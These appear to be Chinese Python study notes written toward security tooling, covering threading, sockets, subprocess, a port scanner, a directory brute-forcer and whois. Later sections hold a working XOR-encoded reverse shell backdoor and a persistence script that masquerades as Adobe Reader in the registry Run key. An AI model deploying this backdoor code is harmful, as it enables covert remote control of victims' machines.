19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from time import sleep
from threading import Thread, Lock


class Account(object):

def __init__(self):
self._balance = 0
self._lock = Lock()

def deposit(self, money):
# 先获取锁才能执行后续的代码
self._lock.acquire()
try:
new_balance = self._balance + money
sleep(0.01)
self._balance = new_balance
finally:
# 在finally中执行释放锁的操作保证正常异常锁都能释放
self._lock.release()

@property
def balance(self):
return self._balance


class AddMoneyThread(Thread):

def __init__(self, account, money):
super().__init__()
self._account = account
self._money = money

def run(self):
self._account.deposit(self._money)


def main():
account = Account()
threads = []
for _ in range(100):
t = AddMoneyThread(account, 1)
threads.append(t)
t.start()
for t in threads:
t.join()
print('账户余额为: ¥%d元' % account.balance)


if __name__ == '__main__':
main()

Python的多线程并不能发挥CPU的多核特性,这是因为Python的解释器有一个”全局解释器锁”(GIL),任何线程执行前必须先获得GIL,然后没执行100条字节码,解释器就自动释放GIL,让别的线程有机会执行。

协程

单进程单线程异步I/O模型,称为事件驱动模型。

在Python中,单线程+异步I/O的编程称为协程,有了协程的支持,就可以基于事件驱动编写高效的多任务程序。
协程最大的优势就是极高的执行效率,因为子程序切换不是线程切换,而是程序自身控制,因此,没有线程切换的开销。
协程的第二个优势就是不需要多线程的锁机制,只有一个线程,不存在同时写变量冲突,在协程中控制共享资源不用加锁,只要判断状态就好了,所以执行效率比多线程高很多。如果想要充分利用CPU的多核特性,最简单的方法是多进程+协程,既充分利用多核,又充分发挥协程的高效率。

Python脚本

结构

1
2
3
4
5
6
7
8
9
10
import <moudle1>,<module2>

def myFunction(): #自定函数

def main():#定义主函数
myFunction()#调用函数

if __name__ == "__main__":#调用时不会被直接执行
main()
#Make a script both importable and executable

if __name__ == "__main__":

Python模块都包含内置的变量__name__,当运行模块被直接执行时,__name__等于"__main__";如果import到其他模块中,则__name__等于模块名称(不包含后缀.py)。

直接运行

1
2
3
4
5
#test.py
print("First")
print ("%s" %(__name__))
if __name__ == "__main__":
print ("Second")
1
2
3
4
//Output
First
__main__
Second

作为模块导入

1
2
3
4
#import_test.py
import test
print("======")
print (__name__)
1
2
3
4
5
//Output
First
test
======
__main_

def __inti__(self,):

在类的方法中,必须有self变量,因为python在调用方法时,会将self作为第一个参数传入方法,若不写self,会出现报错
__init__() takes 1 positional argument but 2 were given

dir(object)

以列表形式返回对象属性、方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#nslookup.py
import os

class Domain:
def __init__(self,domain,port,protocol):
self.domain = domain
self.port = port
self.protocol =protocol

def URL(self):
if self.protocol == 'https':
URL = 'https://' + self.domain + ':' + self.port + '/'
if self.protocol == 'http':
URL = 'http://' + self.domain + ':' + self.port + '/'
return URL

def lookup(self):
os.system('nslookup'+' '+self.domain)

def main():
domain = Domain('www.chirec.github.io','80','http')
#print(dir(domain))
print(domain.URL())
print(domain.domain)
domain.lookup()

if __name__ == "__main__":
main()

sys模块

sys模块可以让Python程序接收参数

1
2
3
4
5
6
7
8
#sysExample.py
import sys

script = sys.argv[0]
ip = sys.argv[1]
port = sys.argv[2]
print("[+] The script name is: " + script)
print("[+] The IP is:" + ip + " and port is: " + port)

socket模块

send()

报错a bytes-like object is required, not 'str'
Python2和Python3在套接字返回值解码上有区别
string类型可以通过encode()方法编码为指定的bytes
bytes类型可以通过decode()方法解码为str,或使用bytes(str,'UTF-8')

1
socket.send(string)

将string中的数据发送到连接的套接字。返回值是要发送的字节数量,该数量可能小于string的字节大小。

sendall()

1
socket.sendall(string)

将string中的数据发送到连接的套接字,但在返回之前会尝试发送所有数据。成功返回None,失败则抛出异常。
内部通过递归调用send,将所有内容发送出去。

sendto()

1
socket.sendto(string,address)

将数据发送到套接字,address是形式为(ipaddr,port)的元组,指定远程地址。返回值是发送的字节数。该函数主要用于UDP协议。

connect()

连接

1
socket.socket.connect((host,port))

close()

关闭socket

1
socket.socket.close()

bind()

将套接字绑定到地址。在AF_INET,以元组(host,port)的形式表示地址。

1
socket.bind(('host',port))

listen()

开始监听传入连接

1
socket.listen(backlog)

backlog指定在拒绝连接之前,可以挂起的最大连接数量。

recv()

接收套接字的数据。

1
socket.recv(bufsize)

数据以字符串形式返回,bufsize指定最多可以接收的数量。

recvfrom()

1
socket.recvfrom(bufsize)

与recv()类似,但返回值是(data,address)
data是包含接收数据的字符串,address是发送数据的套接字地址。

SOCK_STREAM

1.数据流
2.一般是tcp/ip协议的编程
3.有保障的(即能保证数据正确传送到对方)面向连接的SOCKET,多用于资料(如文件)传送

SOCK_DGRAM

1.数据包
2.udp协议网络编程
3.是无保障的面向消息的socket , 主要用于在网络上发广播信息。

AF_INET

IPv4(默认)

AF_INET6

IPv6

AF_UNIX

只能够用于单一的Unix系统进程间通信

异常处理

错误

由于逻辑或语法导致一个程序无法正常执行的问题

异常

程序出错时标识的一种状态

当异常发生时,程序不会再向下执行,而转去调用此函数的地方处理此函数并恢复到正常状态

语法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
try:
可以触发异常的语法
except 错误类型1 [as 变量1]
异常处理语句1
except 错误类型2 [as 变量2]:
异常处理语句2
except (错误类型3, 错误类型4):
异常处理语句3
...
except:
异常处理语句other
else:
未发生异常语句
finally:
最终语句
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#scanport.py
import socket

ports = [21,22,53,80,443,3306,3389]
hosts = ['127.0.0.1']

for host in hosts:
for port in ports:
s = socket.socket()
print("[+] Attempting to connect to "+ host + ":" +str(port))
s.connect((host,port))
banner = s.recv(1024)
s.send('Hello'.encode())
if str(banner):
print("[+]" + host + ":" + str(port) + " open: \n" + banner.decode())
s.close()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#udp_server.py
import socket

host = '127.0.0.1'
port = 12600
buf_size =128
addr = (host,port)
udp_server = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
udp_server.bind(addr)
while True:
print ('waiting for message...')
data,addr = udp_server.recvfrom(buf_size)
print ('...received from and return to:' + str(addr) + ": " + data.decode())
udp_server.close()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#udp_client.py
import socket

host = '127.0.0.1'
port = 12600
buf_size = 128
addr = (host,port)
udp_client = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
while True:
data = input('>')
if not data:
break
udp_client.sendto(data.encode('utf-8'),addr)
data,server_addr = udp_client.recvfrom(buf_size)
print ('...received from:' + str(addr) + ": " + data.decode())
udp_client.close()

生成exe文件

1
pip install pyinstaller

安装完成之后在Python37/Script文件夹下

1
pyinstaller -F

subprocess模块

从python2.4版本开始,可以用subprocess这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值。
subprocess意在替代其他几个老的模块或者函数,比如:os.system os.spawn* os.popen* popen2.* commands.*

subprocess.Popen()

subprocess模块定义了一个类: Popen

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class subprocess.Popen( args, 
bufsize=0,
executable=None,
stdin=None,
stdout=None,
stderr=None,
preexec_fn=None,
close_fds=False,
shell=False,
cwd=None,
env=None,
universal_newlines=False,
startupinfo=None,
creationflags=0)

各项参数含义

参数 含义
args 字符串或列表
bufsize 0 无缓冲
1行缓冲
其他正值缓冲区大小
负值采用默认系统缓冲(一般是全缓冲)
executable 一般不用,args字符串或列表第一项表示程序名
stdin
stdout
stderr
None没有任何重定向,继承父进程
PIPE创建管道
文件对象
文件描述符(整数)
stderr还可以设置为STDOUT
preexec_fn 钩子函数,再fork和exec之间执行。(Unix)
close_fds Unix下执行新进程前是否关闭0/1/2之外的文件
Windows下不继承还是继承父进程的文件描述符
shell True
Unix下相当于args前面添加了"/bin/sh" "-c"
Windows下相当于添加"cmd.exe /c"
cwd 设置工作目录
universal_newlines 各种换行符统一处理为\n
startupinfo Windows下传递给CreateProcess的结构体
creationflags Windows下,传递CREATE_NEW_CONSOLE创建自己的控制台窗口

args:
args参数。可以是一个字符串,可以是一个包含程序参数的列表。要执行的程序一般就是这个列表的第一项,或者是字符串本身。
subprocess.Popen(["cat","test.txt"])
subprocess.Popen("cat test.txt")
这两个之中,后者将不会工作。因为如果是一个字符串的话,必须是程序的路径才可以。(考虑unix的api函数exec,接受的是字符串
列表)
但是下面的可以工作
subprocess.Popen("cat test.txt", shell=True)
这是因为它相当于
subprocess.Popen(["/bin/sh", "-c", "cat test.txt"])
在*nix下,当shell=False(默认)时,Popen使用os.execvp()来执行子程序。args一般要是一个【列表】。如果args是个字符串的
话,会被当做是可执行文件的路径,这样就不能传入任何参数了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#shell.py 攻击者
import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind(('192.168.126.1',12600))
s.listen(2048)
print ('Listening on port 12600... ')
(client,(ip,port)) = s.accept()
print (f'received connection from : {ip}')
while True:
command = input('~$ ')
# bytearray()需要将str进行编码再byte
encode = bytearray(command.encode('utf-8'))
for i in range(len(encode)):
# XOR encode data
encode[i] ^= 0x41
client.send(encode)
en_data = client.recv(2048)
decode = bytearray(en_data)
for i in range(len(decode)):
decode[i] ^= 0x41
print (decode.decode())
client.close()
s.close()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#backdoor.py 受害者
import socket,subprocess,sys
RHOST = sys.argv[1]
RPORT = 12600
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((RHOST,RPORT))
while True:
# receive XOR encoded data from network socket
data = s.recv(1024)
# XOR decoded
en_data = bytearray(data)
for i in range(len(en_data)):
en_data[i] ^= 0x41
# Execute the decoded data as a command
# The subprocess module is great because we can PIPE STDOUT/STDERR/STDIN to a variable
comm = subprocess.Popen(str(en_data),shell = True,stdout = subprocess.PIPE,stderr = subprocess.PIPE,stdin = subprocess.PIPE)
comm.wait()
STDOUT,STDERR = comm.communicate()
print (STDERR)
# Encode the output and send to RHOST
en_STDOUT = bytearray(STDOUT)
for i in range(len(en_STDOUT)):
en_STDOUT[i] ^= 0x41
s.send(en_STDOUT)
s.close()

shell.py运行

backdoor.py运行

optparse模块

optparse.OptionParser()

1
parser = optparse.OptionParser(sys.argv[0] + ' ' + '-i <file_with URLs> -r -s [optional]')

未加参数时回显

optparse.add_option()

1
2
3
parser.add_option('-i',dest='domains',type='string',help='specify target file with URLs')
parser.add_option('-r',dest='directorys',type='string',help='specify a file with directory to request')
parser.add_option('-s',dest='search',type='string',help='[optional] Specify a search string -s')

--help显示参数

optparse.parse_args()

1
(options,args) = parser.parse_args()

返回两个值,options包含所有options的对象,参数作为对象的属性,args解析options后剩余参数的列表

1
domains = options.domains

optparse.attributes

option.action

默认为store

option.type

默认为string

option.dest

告诉optparse将参数写在哪里

option.help

help选项显示内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#fake_dirbuster.py
from bs4 import BeautifulSoup
import sys,optparse,socket
import requests


class Colors:
RED = '\033[91m'
GREEN = '\033[92m'


def webreq(domain,directorys):
directory = []
with open(directorys,'r',encoding='utf-8') as file:
for item in file.readlines():
directory.append(item.strip()) # 移除目录中的换行符
for item in directory:
url = domain + "/" + item # 拼接URL
html_requested = requests.get(url) # 请求URL
if search:
parsed = BeautifulSoup(html_requested.content,'lxml') # Parse the output with BeautifulSoup
if search in str(parsed):
print (Colors.GREEN + "[+] URL: " + url + " [" + str(html_requested.status_code) + "] Found: '" + search + "' in output")
if html_requested.status_code == 404:
print (Colors.RED + "[+] URL: " + url + " [" + str(html_requested.status_code) + "]")
elif html_requested.status_code:
print (Colors.GREEN + "[+] URL: " + url + " [" + str(html_requested.status_code) + "]")


def main():
parser = optparse.OptionParser(sys.argv[0] + ' ' + '-i <file_with URLs> -r -s [optional]') # 无参数回显
parser.add_option('-i',dest='domains',type='string',help='specify target file with URLs') # 设置参数
parser.add_option('-r',dest='directorys',type='string',help='specify a file with directory to request')
parser.add_option('-s',dest='search',type='string',help='[optional] Specify a search string -s')
(options,_) = parser.parse_args()
domains = options.domains
directorys = options.directorys
global search
search = options.search

if (domains == None) and (directorys == None):
print (parser.usage)
sys.exit(0)

if domains:
for domain in open(domains,'r'):
webreq(domain,directorys)


if __name__ == "__main__":
main()

cymruwhois模块

Client()

1
2
3
4
5
6
7
8
9
10
from cymruwhois import Client
c = client()
google = c.lookup('8.8.8.8')
type(google)
<class 'cymruwhois.record'>
google.owner
google.ip
google.cc
google.asn
google.prefix

Clien().lookupmany_dict()

1
2
3
#返回字典,索引为ip
result = Client.lookupmany_dict(iplist)
result['8.8.8.8'].owner
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#whois.py
import sys,os,optparse
from cymruwhois import Client

# whois
def look(iplist):
c = Client()
if ips:
result = c.lookupmany_dict(iplist)
head = '%-20s - %15s (%s) - %s' % ('net','ip','cc','owner')
print (head)
for ip in iplist:
# get network information
net = result[ip].prefix
owner = result[ip].owner
cc = result[ip].cc
info = '%-20s - %15s (%s) - %s' % (net,ip,cc,owner)
print (info)


# check to ensure file is existed and readable
def checkFile(ips):
if not os.path.isfile(ips):
print ('[-] ' + ips + ' does not exist.')
sys.exit(0)
if not os.access(ips,os.R_OK):
print ('[-]' + ips + ' access denied')
sys.exit(0)
print ('[+] Querying from: ' + ips)


def main():
parser = optparse.OptionParser(sys.argv[0] + ' -r <file_with IPs> || -i <IP>')
parser.add_option('-r',dest = 'ips',type = 'string',help = 'specify target IP address')
parser.add_option('-i',dest = 'ip',type = 'string',help = 'specify a target IP address')
(options,__) = parser.parse_args()
ip = options.ip
global ips
ips = options.ips
if (ips == None) and (ip == None):
print (parser.usage)
sys.exit(0)
if ips:
checkFile(ips)
iplist = []
with open (ips,'r',encoding='utf-8') as file:
for line in file.readlines():
iplist.append(line.strip())
look(iplist)
else:
result = Client().lookup(ip)
net = result.prefix
owner = result.owner
cc = result.cc
info = '%-20s - %15s (%s) - %s' % (net,ip,cc,owner)
head = '%-20s - %15s (%s) - %s' % ('net','ip','cc','owner')
print (head)
print (info)


if __name__ == "__main__":
main()

执行系统命令

os.system()

1
2
import os
os.system('ipconfig')

subprocess.Popen()

1
2
3
4
5
6
7
8
9
10
11
import subprocess

com_str = 'ipconfig'
command = subprocess.Popen([com_str],stdout = subprocess.PIPE,shell = True)
(output,__) = command.communicate()
# 解码格式需要尝试 gbk gb2312 utf-8
print (output.decode('gbk'))
with open('file.txt','a',encoding = 'utf-8') as file:
file.write(output)
with open('file.txt','r',encoding = 'utf-8') as file:
print(file.read())

winreg模块

_winreg模块在Python3中被重命名为winreg

winreg.OpenKey()

打开特定key

1
2
winreg.OpenKey(key,sub_key[,res=0[,sam=KEY_READ]])
winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE,'SOFTWARE\Classes')

返回一个句柄对象
key是一个已经打开的键,或任意一个预定义的HKEY_*常量
sub_key是一个字符串,表示要打开的子键
res为保留整数,必须为0,默认为0
sam是一个整数,指定访问掩码,描述密钥的所需安全访问策略

修改键值

1
winreg.SetValueEx(key, value_name, reserved, type, value)

key是一个已经打开的键,或任意一个预定义的HKEY_*常量
value_name是一个字符串,命名了哪一个值与之关联
reserved可以使用任何值,0表示总是被传递给API
type是一个整数,描述了数据类型。具体类型参考:Registry Value Types
value表示被赋予的新值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import sys,base64,os,socket,subprocess
import winreg

def autorun(tempdir,filename,run):
# copy file to %TEMP%
os.system('copy %s %s' %(filename,tempdir))
# open reg
key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE,run)
runkey = []
i = 0
while True:
subkey = winreg.EnumKey(key,i)
runkey.append(subkey[0])
i += 1
if 'Adobe ReaderX' not in runkey:
key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE,run,0,winreg.KEY_ALL_ACCESS)
winreg.SetValueEx(key,'Adobe_ReaderX',0,winreg.REG_SZ,r"%TEMP%mw.exe")
key.close()


def shell():
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.126.1',int(12600)))
s.send('[*] Connection Established!')
while True:
data = s.recv(1024)
if data == "quit":
break
proc = subprocess.Popen(data,shell = True,stdout = subprocess.PIPE,stderr = subprocess.PIPE,stdin = subprocess.PIPE)
stdout_value = proc.stdout.read + proc.stderr.read()
encoded = base64.b64encode(stdout_value)
s.send(encoded)
s.close()


def main():
tempdir = '%TEMP%'
fileName = sys.argv[0]
run = 'SoftwareMicrosoftWindowsCurrentVersionRun'
autorun(tempdir,fileName,run)
shell()

if __name__ == "__main__":
main()

参考

[1] Python黑客学习笔记:从HelloWorld到编写PoC(上)

[2] Python黑客学习笔记:从HelloWorld到编写PoC(中)

[3] Python Tutorials

[4] python中的subprocess.Popen()使用